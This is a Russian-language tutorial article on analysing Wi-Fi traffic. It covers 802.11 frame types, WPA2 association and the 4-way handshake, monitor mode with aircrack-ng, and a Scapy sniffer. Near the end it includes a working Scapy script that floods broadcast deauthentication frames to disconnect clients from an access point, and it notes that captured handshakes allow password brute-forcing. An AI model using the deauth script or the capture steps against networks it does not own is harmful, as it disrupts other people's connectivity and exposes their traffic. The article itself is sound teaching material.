
Задача просмотра сетевого трафика интересна тем, что позволяет увидеть, что фактически передаётся между двумя хостами, и разобраться, что происходит внутри сетевого соединения, которое в обычной ситуации выглядит как «чёрный ящик».
У меня уже была статья, где я подробно рассматривал стек TCP/IP, а в этой хочу рассмотреть, как можно проанализировать Wi-Fi трафик.
Уровни сетевого стека
Полноценное понимание сетей к вам не придёт до понимания уровней сетевого стека.
Стек протоколов TCP/IP включает в себя четыре уровня:
прикладной уровень (Application Layer),
транспортный уровень (Transport Layer),
межсетевой уровень (Internet Layer),
канальный уровень (Link Layer).
Часто в литературе приводится модель OSI с 7 слоями, но для понимания, как работает сеть на вашем роутере достаточно модели TCP/IP с 4-мя слоями. Хотя в самом стеке TCP/IP всего 4 уровня, для удобства принято использовать нумерацию из более детальной классической модели OSI:
L1 — Физический (Physical) ,
L2 — Канальный (Data Link),
L3 — Сетевой (Network),
L4 — Транспортный (Transport),
L5 — Сеансовый (Session),
L6 — Представительский (Presentation),
L7 — Прикладной (Application).
Поэтому, когда инженеры говорят «L2-коммутатор» или «проблема на уровне L2», они имеют в виду работу с MAC-адресами и кадрами (фреймами) на канальном уровне. Самым интересным и доступным для экспериментов и изучения является канальный уровень или L2.
Wi-Fi
Стандарт IEEE 802.11
Исчерпывающее описание Wi-Fi приведено в стандарте IEEE 802.11 на сайте. Вы можете скачать PDF-файл с текстом стандарта, предварительно создав бесплатный аккаунт на сайте.
Но читать такой огромный документ сложно и долго, поэтому в статье я изложу базовые понятия и информацию, необходимую вам, чтобы понимать и анализировать работу Wi-Fi сети.
Частотный диапазон и каналы
Современные версии Wi-Fi используют три основных частотных диапазона: 2,4 ГГц, 5 ГГц и 6 ГГц.
Каждый диапазон разделён на отдельные радиоканалы. Канал задаёт центральную частоту, на которой работает передача, а также определённую полосу частот вокруг этой частоты.
Например, в диапазоне 2,4 ГГц широко используются каналы 1, 6 и 11. При ширине канала 20 МГц они практически не перекрываются друг с другом. Однако соседние каналы, например, 1 и 2, имеют значительное перекрытие спектров и поэтому могут создавать взаимные помехи.
В диапазонах 5 и 6 ГГц ситуация с перекрытием каналов отличается: там доступно значительно больше спектра и большое количество неперекрывающихся 20-МГц каналов. Кроме того, современные стандарты Wi-Fi позволяют объединять несколько соседних каналов, получая полосу 40, 80 или 160 МГц. Чем шире канал, тем больше спектра используется для одной передачи и тем выше потенциальная скорость передачи данных.
Объединение каналов называется channel bonding и относится к физическому уровню (PHY). На уровне PHY также выполняются модуляция, кодирование, формирование OFDM-сигнала, MIMO и другие операции, непосредственно связанные с передачей битов по радиоканалу.
Для анализа Wi-Fi-трафика на канальном уровне все эти детали обычно можно не рассматривать. В простейшем случае достаточно понимать, что точка доступа и подключённая к ней станция используют один и тот же радиоканал.
Однако здесь есть важный нюанс. Если точка доступа работает, например, с шириной канала 80 МГц, то фактически используется сразу несколько соседних 20-МГц каналов. При этом один из них является первичным (primary) каналом, на котором передаются некоторые управляющие кадры и который используется станцией для определения BSS.
Поэтому при захвате трафика недостаточно просто выбрать частоту 5 ГГц. Анализатор должен быть настроен на правильный канал и, если необходимо увидеть весь спектр передачи, на соответствующую ширину канала.
Для большинства экспериментов c WiFi достаточно работать с 20-МГц каналами. Это позволяет не погружаться в детали PHY и сосредоточиться на структуре кадров IEEE 802.11: MAC-адресах, типах и подтипах кадров, Sequence Number, Retry, Frame Control и других полях.
Wi-Fi адаптер
Для работы с Wi-Fi сетью нужен Wi-Fi адаптер, часто его называют беспроводной сетевой картой. Его основная задача — переводить цифровые сигналы от компьютера в радиосигнал и наоборот — принятый радиосигнал и превращать в цифровой сигнал.
Адаптер может быть внешний с USB-интерфейсом или внутренний с PCI-e, SDIO. Для одноплатников и Wi-Fi-роутеров Wi-Fi адаптер (Wi-Fi чип) может быть распаян на самой плате.
Во многих случаях Wi-Fi адаптер используется на компьютерах, работающих под управлением операционной системы. Для этого нужен драйвер для Wi-Fi-адаптера. Кроме того, на самом адаптере выполняется определённый программный код, называемый прошивкой. Прошивка, как правило, загружается в адаптер при загрузке операционной системы. Часть своих настроек адаптер может хранить в независимой EEPROM-памяти.
Сейчас устройства стали сложными, но если вы, например, не разрабатываете драйвер для Wi-Fi адаптера, скорее всего, знать, как работать с ним через регистры вам не понадобится, к тому же часть информации часто можно получить, подписав NDA. В статье я не буду опускаться до уровня регистров.
В этом случае Wi-Fi адаптер можно рассматривать как устройство, которым можно управлять из операционной системы, выбирая режимы его работы, передавая данные на него и получая данные от него.
Чипсет
Если о том, что сетевая карта может работать в Windows, Linux и macOS, как и то, что она поддерживает стандарт Wi-iFi 802.11n или 802.11ac вы увидите на коробке, то о том в каких режимах может работать и какой чипсет использует, производители, как правило, умалчивают.
Часто бывает так, что производитель для той же модели, но другой ревизии может использовать другой чипсет.
Как я уже говорил, чипсет в большей степени определяет возможности сетевой карты. Но также возможности определяют firmware сетевой карты и драйвер сетевой карты. В зависимости от их версий, сетевая карта будет поддерживать те или иные возможности, содержать или не содержать ошибки в работе.
Прошивка
Прошивка (firmware) — это программа для CPU чипсета сетевой карты. Это бинарный закрытый код. Изменить что-то в нём без исходного кода сложно, но иногда энтузиасты делают для него патчи.
Код драйвера сетевой карты, особенно в Linux, является открытым. И если какой-то возможности нет в оригинальном драйвере, есть вероятность, что кто-то написал патч, эту возможность реализующую.
MAC и PHY
Когда рассматривают работу Wi-Fi адаптера, выделяют два уровня: PHY и MAC.
PHY (Physical Layer) отвечает за то, как данные физически передаются по воздуху: модуляцию, частоту, ширину канала, работу с антеннами (MIMO), кодирование сигнала в радиоволны и обратно. Именно различия в PHY определяют скорость и возможности стандартов (802.11n, 802.11ac, 802.11ax и т. д.).
MAC (Media Access Control Layer) отвечает за организацию доступа к среде: кто и когда может передавать данные, формирование кадров, адресацию, подтверждения (ACK), агрегацию кадров, работу с очередями и механизмы избежания коллизий (CSMA/CA).
SoftMAC и FullMAC
В зависимости от того, где реализована бо́льшая часть логики MAC, Wi-Fi адаптеры делят на два архитектурных типа:
SoftMAC — значительная часть MAC выполняется программно в драйвере на стороне хоста. Это даёт больше гибкости и контроля (в том числе лучшую поддержку monitor mode и packet injection).
FullMAC — почти вся логика MAC реализована в прошивке самого чипа. Драйвер получается тонким, но возможности управления со стороны операционной системы сильно ограничены.
Даже в случае SoftMAC часть критичных по времени операций всё равно остаётся в железе и прошивке адаптера.
Режимы работы Wi-Fi-адаптера
Как работает Wi-Fi на базовом уровне, знает практически каждый человек, который с ними сталкивался. Почти у всех есть дома Wi-Fi-роутер, к которому вы подключаетесь, чтобы получить доступ в интернет. Это типичный вариант использования Wi-Fi с точкой доступа (AP) и множеством клиентов(STA).
Точка доступа — это не одно и то же, что роутер, так как Wi-Fi-роутер объединяет в себе несколько устройств. Но для простоты понимания можно считать, что это одно и то же.
Wi-Fi адаптеры ноутбуков и внешние (USB) Wi-Fi адаптеры по умолчанию работают в режиме клиента (также называемом station mode или managed mode). Адаптер по радиоканалу подключается к точке доступа (роутеру) как клиентское устройство. Адаптер получает IP-адреc в сети, которую предоставляет WI-Fi роутер. Это основной и самый распространённый режим работы почти всех Wi-Fi адаптеров.
Адаптеры часто могут работать и в других режимах:
Access Point — раздавать Wi-Fi (создавать точку доступа),
Ad-hoc — прямое соединение между устройствами,
Monitor mode — прослушивание трафика (для анализа, pentesting и т. п.)
Поддержка Wi-Fi операционной системой Linux
Хотя mainline-ядро Linux содержит драйвера для многих сетевых карт, часто бывает ситуация, когда нужно устанавливать сторонний драйвер. За это отвечает механизм DKMS, который предусматривает перекомпиляцию исходного кода драйвера при обновлении версии ядра.
Я считаю, что более надёжно, когда драйвер сетевой карты находится в mainline ядре или дистрибутив содержит пропатченное ядро с нужным драйвером. И советую выбирать такие Wi-Fi-адаптеры.
В Linux информацию о Wi-Fi адаптерах можно посмотреть командами:
iw list
и
iw dev
Иногда возникают задачи, когда необходимо посмотреть трафик между другими устройствами сети. Например, вы отлаживаете программу на мобильном телефоне, и вам нужно знать, что именно он передаёт или получает из сети. Или у какого-то компьютера в сети нестабильное подключение.
Для этого сетевую карту нужно перевести в специальный режим. Для Wi-Fi это monitor mode, для Ethernet — это promiscuous mode. Если с переводом в promiscuous mode проблем практически не возникает, то с monitor mode — часто это танцы с бубнами и гадание на кофейной гуще. Потому что нужно выбрать правильный Wi-Fi-адаптер с драйвером, который будет поддерживать monitor mode.
В Linux с этим дела обстоят лучше, но всё равно не все адаптеры поддерживают monitor mode. И не для всех адаптеров написан драйвер в ядре Linux.
promiscuous mode обычно недостаточно, чтобы увидеть трафик других хостов Ethernet-сети, так как сейчас уже используются не хабы, а свитчи. Поэтому нужно использовать зеркалирование портов на свитче или другие методики, о которых поговорим позже.
Сетевой интерфейс
Сетевой адаптер и сетевой интерфейс — немного разные вещи. Сетевой интерфейс — это абстракция, которая может работать с кадрами и пакетами, а сетевой адаптер, это физическое устройство, передающее и принимающее кадры при помощи электрических, радио или оптических сигналов.
Посмотреть сетевые интерфейсы можно командой:
ip l
В современных дистрибутивах Linux по умолчанию сетевые интерфейсы именуются по схеме Predictable Network Interface Names (предсказуемые имена), где в имени зашифровано расположение адаптера. Поэтому имён вида
wlan0,eth0, которые часто фигурируют в туториалах и литературе, вы не увидите. Для Wi-Fi-адаптеров имена сетевых интерфейсов будут начинаться наwl. Эту схему именования можно отключить и вернуться к старой, добавив ‘net.ifnames=0` в командную строку ядра Linux при загрузке.
Узнать, какой драйвер используется для сетевого интерфейса:
ls -l /sys/class/net/wlxxxxx/device/driver
где wlxxxxx — имя сетевого интерфейса.
Можно узнать, от каких драйверов зависит драйвер Wi-Fi адаптера. Например, у меня на ноутбуке установлен адаптер Intel AX200 использующий драйвер iwlwifi. Узнать, от каких драйверов зависит iwlwifi, можно при помощи команды:
sudo modinfo iwlwifii | grep depends
Monitor mode
В Monitor mode вы можете наблюдать и по возможности декодировать Wi-Fi кадры, которые передаются в сети, не обязательно адресованные или посланные с вашего адаптера.
В Linux переключить адаптер в monitor mode можно несколькими способами. Используя команды ip и iw или используя команду airmon-ng. Последняя предпочтительна, так как она позволяет остановить нежелательные сетевые службы, которые будут вмешиваться в работу сетевого интерфейса/а, работающего в режиме монитора, такие как NetworkManager и wpa_supplicant.
После того как вы поработали в режиме монитора, не забудьте перевести адаптер в managed режим и запустить NetworkManager.
sudo systemctl start NetworkManager
Вы можете не только пассивно наблюдать, что происходит в Wi-Fi-сети, но и помещать свои Wi-Fi кадры в сеть. Настоятельно рекомендую выполнять эти операции только в своей сети и только в исследовательских целях.
Вы можете, например, создать множество виртуальных точек доступа или отключить клиентов от определённой точки доступа.
WiFi адаптер, позволяющий такое делать, должен поддерживать инъекцию пакетов (packet injection).
Адаптер должен быть в monitor mode, чтобы выполнять packet injection. Не все адаптеры поддерживают packet injection. Поддержка packet injection определяется не только чипсетом карты, но и версией firmware и драйвером.
Для Packet injection существует множество различного ПО в Linux. Но если рассмотреть с точки зрения системного программиста Linux, packet injection — это работа с сырыми сокетами со знанием структуры Wi-Fi-кадров и полей radiotap header. Radiotap header не передаётся в эфир, а служит для передачи параметров драйверу Wi-Fi-адаптера и для получения информации от драйвера при приёме кадров.
Шифрование трафика
Современный интернет устроен так, что большинство информации, передаваемой в сети, шифруется. Причём, информация может шифроваться на нескольких уровнях сетевого стека. Например, при беспроводном соединении шифруются как Wi-Fi-кадры, так и TCP-пакеты.
Чтобы посмотреть, что передаётся, вам необходимо знать ключи шифрования. Если компьютеры и сеть принадлежат вам, то не вижу ничего плохого разобраться, как можно посмотреть передаваемый трафик.
Обращаю внимание, что в каждый момент времени адаптер может принимать/передавать кадры только на одном канале
То есть если вы сканируете сеть на наличие точек доступа и клиентов, адаптер циклически переключается между каналами, и адаптер будет перехватывать не все кадры в радиоэфире.
Как работает Wi-Fi на канальном уровне
Наверное, лучше всего понять основы, разобравшись, как клиент подключается к точке доступа. Вы ознакомитесь со многими типами WiFi-кадров и как это всё работает вместе.
MAC Protocol Data Unit (MPDU)
MPDU (MAC Protocol Data Unit) — единица данных MAC-подуровня стандарта IEEE 802.11. Проще говоря, это Wi-Fi кадр, который передаётся между станциями по беспроводному каналу.
Тип MPDU определяется полями Type и Subtype в поле Frame Control.
Основными типами кадров IEEE 802.11 являются:
Management — управление сетью,
Control — управление передачей кадров,
Data — передача данных.
Упрощённо структуру можно представить следующим образом:

В общем случае MPDU состоит из MAC-заголовка, тела кадра и FCS:

Конкретная структура зависит от типа и подтипа кадра. Например, у некоторых Control frames тело кадра отсутствует.
Management frames
Management frames используются для управления беспроводной сетью и установления отношений между станциями.
Они не предназначены для передачи пользовательских данных. С их помощью устройства обнаруживают точки доступа, выполняют аутентификацию, устанавливают ассоциацию и управляют состоянием соединения.
Некоторые наиболее важные Management frames:
Subtype |
Кадр |
Назначение |
|---|---|---|
|
Association Request |
Запрос подключения к AP |
|
Association Response |
Ответ AP на запрос подключения |
|
Reassociation Request |
Повторное подключение, например, при roaming |
|
Reassociation Response |
Ответ на Reassociation Request |
|
Probe Request |
Поиск точек доступа |
|
Probe Response |
Ответ точки доступа |
|
Beacon |
Периодическое объявление сети |
|
Disassociation |
Завершение ассоциации |
|
Authentication |
Аутентификация |
|
Deauthentication |
Завершение аутентификации |
При подключении к точке доступа обмен Management frames может выглядеть следующим образом:

Control frames
Control frames используются для управления процессом передачи данных по беспроводному каналу.
В отличие от Management frames, они не управляют подключением устройства к сети, а помогают непосредственно организовать передачу кадров на MAC-уровне.
Наиболее известные Control frames:
Subtype |
Кадр |
Назначение |
|---|---|---|
|
Block Ack Request |
Запрос подтверждения блока кадров |
|
Block Ack |
Подтверждение блока кадров |
|
RTS |
Request to Send |
|
CTS |
Clear to Send |
|
ACK |
Подтверждение получения кадра |
|
CF-End |
Завершение contention-free периода |
|
CF-End + CF-Ack |
Завершение периода и подтверждение |
Data frames
Data frames используются для передачи пользовательских данных.
Внутри Data MPDU может находиться пакет следующего уровня сетевого стека.
Хотя сейчас существуют более защищённые стандарты аутентификации Wi-Fi, рассмотрим наиболее распространённый WPA2 Personal, который поддерживается практически любым роутером
Beacon
Точка доступа (AP) периодически (обычно каждые 100 мс) рассылает Beacon-кадры. Что внутри Beacon:
SSID (имя сети),
BSSID (MAC-адрес AP),
Supported Rates,
Channel,
Capability Information,
RSN IE (Robust Security Network Information Element) — здесь указано, что сеть использует WPA2, CCMP (AES), PSK
Клиент в режиме пассивного сканирования просто слушает Beacon’ы и узнаёт о существовании сети.
Probe
Активное сканирование. Клиент сам отправляет Probe Request (может быть broadcast или unicast на конкретный BSSID/SSID). AP отвечает Probe Response — содержимое почти идентично Beacon’у.
Используется, когда:
клиент хочет быстрее найти сеть;
сеть скрыта (SSID не передаётся в Beacon);
клиент уже знает SSID и хочет быстро «достучаться».
Authentication
В WPA2-Personal почти всегда используется Open System Authentication.
Последовательность:
Client -> AP: Authentication Request
AP -> Client: Authentication Response
Это всего лишь формальное «рукопожатие» на уровне 802.11. Реальной криптографической аутентификации здесь ещё нет.
Настоящая проверка пароля произойдёт только в 4-way handshake.
Association
После успешной Authentication клиент отправляет Association Request, AP отвечает Association Response.
В Association Request клиент указывает:
поддерживаемые скорости,
capability,
RSN IE (подтверждает, что хочет WPA2-PSK + CCMP).
После успешной Association клиент получает AID (Association ID) и считается ассоциированным, но ещё не имеет ключей для шифрования данных. Поэтому трафик пока невозможен (кроме EAPOL-кадров).
4-way handshake
Самый важный этап WPA2-Personal. Здесь происходит:
взаимная аутентификация (клиент и AP доказывают, что знают один и тот же PSK),
генерация временных ключей.
PSK (пароль) → PMK (Pairwise Master Key)
Далее 4 EAPOL-сообщения:
Message 1 (AP → STA) ANonce (случайное число от AP)
Message 2 (STA → AP) SNonce + MIC Клиент уже может посчитать PTK = PRF(PMK, ANonce, SNonce, MAC_AP, MAC_STA)
Message 3 (AP → STA) GTK + MIC AP подтверждает, что тоже знает правильный PTK, и передаёт Group Temporal Key
Message 4 (STA → AP) Подтверждение (MIC)
EAPOL (Extensible Authentication Protocol over LAN) — это протокол, который позволяет передавать сообщения протокола EAP (и связанные с ним управляющие кадры) по проводной или беспроводной сети.
После успешного 4-way handshake: установлен PTK (для unicast-трафика) установлен GTK (для broadcast/multicast) начинается нормальная передача данных, зашифрованных CCMP (AES)
Beacon / Probe → Authentication (Open) → Association → 4-way Handshake → Data
CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) — это протокол шифрования и проверки целостности данных, который используется в WPA2. Простыми словами: CCMP — это то, чем WPA2 реально шифрует трафик после успешного 4-way handshake. Основан на алгоритме AES (Advanced Encryption Standard) Обеспечивает одновременно:
конфиденциальность (шифрование данных),
целостность (защиту от подмены пакетов),
аутентификацию источника.
Средства для изучения работы WiFi
Wireshark
Wireshark понимает и позволяет декодировать протоколы высокого уровня: TCP, UDP, HTTP, DNS и многие другие. Получив сырой набор байтов из кадра, можно вручную разобрать его структуру по спецификациям (RFC). В учебных целях это полезно сделать пару раз, но на практике используют специализированные анализаторы трафика, такие как Wireshark. По умолчанию сетевой адаптер принимает только те кадры, которые адресованы адаптеру. Для перехвата всего чужого трафика в проводной сети адаптер переводят в Promiscuous Mode. В беспроводных сетях Wi-Fi для захвата сырых радиокадров из эфира (включая служебную информацию) используется Monitor Mode.
В сетях WPA/WPA2-Personal Wireshark способен расшифровывать зашифрованный Wi-Fi трафик. Для этого в настройки программы необходимо ввести пароль от сети (или ключ PMK) и перехватить полный 4-way handshake между клиентом и точкой доступа в момент их подключения. Если же зашифрован трафик на прикладном уровне (например, HTTPS/TLS), для разбора такого трафика в Wireshark потребуется дополнительно импортировать сессионные ключи шифрования (SSLKEYLOGFILE).
Aircrack-ng
В Linux есть пакет aircrack-ng, который упрощает работу с адаптером в monitor mode.
Установка пакета в Debian:
sudo apt install aircrack-ng
Проверка и остановка процессов, мешающих работе Wi-Fi адаптера в monitor mode:
sudo airmon-ng check kill
Перевести Wi-Fi адаптер с сетевым интерфейсом wlp82s0 в monitor mode:
sudo airmon-ng start wlp82s0
Обнаружить точки доступа и клиентов в радиусе действия вашего адаптера:
sudo airodump-ng wlp82s0mon
Вернуться в managed mode из monitor mode:
sudo airmon-ng stop wlp82s0mon
При возвращении в managed mode не забудьте вернуть сетевые службы, если они были остановлены ранее:
sudo systemctl restart NetworkManager
Scapy
Scapy упрощает работу с RAW сокетами при перехвате, анализе сетевого трафика инъекции кадров и пакетов.
Например, небольшая программа для просмотра Wi-Fi трафика будет выглядеть следующим образом:
from scapy.all import sniff, Dot11, hexdump def packet_handler(pkt): if pkt.haslayer(Dot11): print("\n" +"="*40) #pkt.show() hexdump(pkt) packets = sniff(iface="wlp82s0mon", prn=packet_handler, count=5)
здесь wlp82s0mon имя сетевого интерфейса для вашего Wi-Fi адаптера, работающего в режиме монитора (monitor mode). count=5 получить только 5 кадров и завершить работу программы.
Небольшая программа для отсылки Deauth-кадров:
import sys from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp target_mac = "FF:FF:FF:FF:FF:FF" gateway_mac = "50:A8:4A:77:EF:32" iface_name = "wlp82s0mon" packet = RadioTap() / Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac) / Dot11Deauth(reason=7) sendp(packet, iface=iface_name, count=3, inter=0.1, loop=1)
gateway_mac – MAC-адрес точки доступа, от имени которой вы хотите отослать Deauth-кадр
Заключение
Wi-Fi перестал быть для вас чёрным ящиком. Мы рассмотрели часть механизмов работы Wi-Fi-сети. Wi-Fi, особенно старые версии не такие уж безопасные, и для конфиденциальности лучше использовать проводные сети, хотя там тоже есть небезопасные моменты. Выбор адаптера для мониторинга сети сложен тем, что производители не указывают используемый чипсет. Мониторинг сети проще выполнять в Linux или в виртуальной машине Linux с внешним адаптером.
Если внимательно проанализировать то, что мы делали, то сразу придёт понимание, насколько опасен общественный Wi-Fi, так как имя точки доступа и пароль известны многим.
Уж точно заходить на незащищённые HTTР-сайты не стоит, а тем более вводить там конфиденциальные данные. Современные браузеры при обращении к таким сайтам или предупреждают или вовсе запрещают доступ по умолчанию.
Самым уязвимым является момент подключения к Wi-Fi сети, так как в этот момент происходит обмен ключами. Если вам известны имя точки доступа и пароль, то, перехватив обмен ключами, можно декодировать весь последующий трафик между клиентом и точкой доступа.
Пароль можно подобрать на основе перехваченного 4 way handshake, но это трудозатратная операция. И при достаточно большом и сложном пароле практически неосуществимая. Поэтому выбирайте правильный пароль для своей Wi-Fi-сети. Номер телефона, день рождения точно не стоит выбирать в качестве пароля, так как они относительно быстро вычисляются методом простого перебора.
Многое осталось за кадром: я не рассказал о работе с Raw-сокетами, использовании библиотеки pcap, установку и работу с DKMS драйверами. Но я думаю, вы получили знания и сейчас работа вашего Wi-Fi адаптера уже перестала быть магией и загадкой.
© 2026 ООО «МТ ФИНАНС»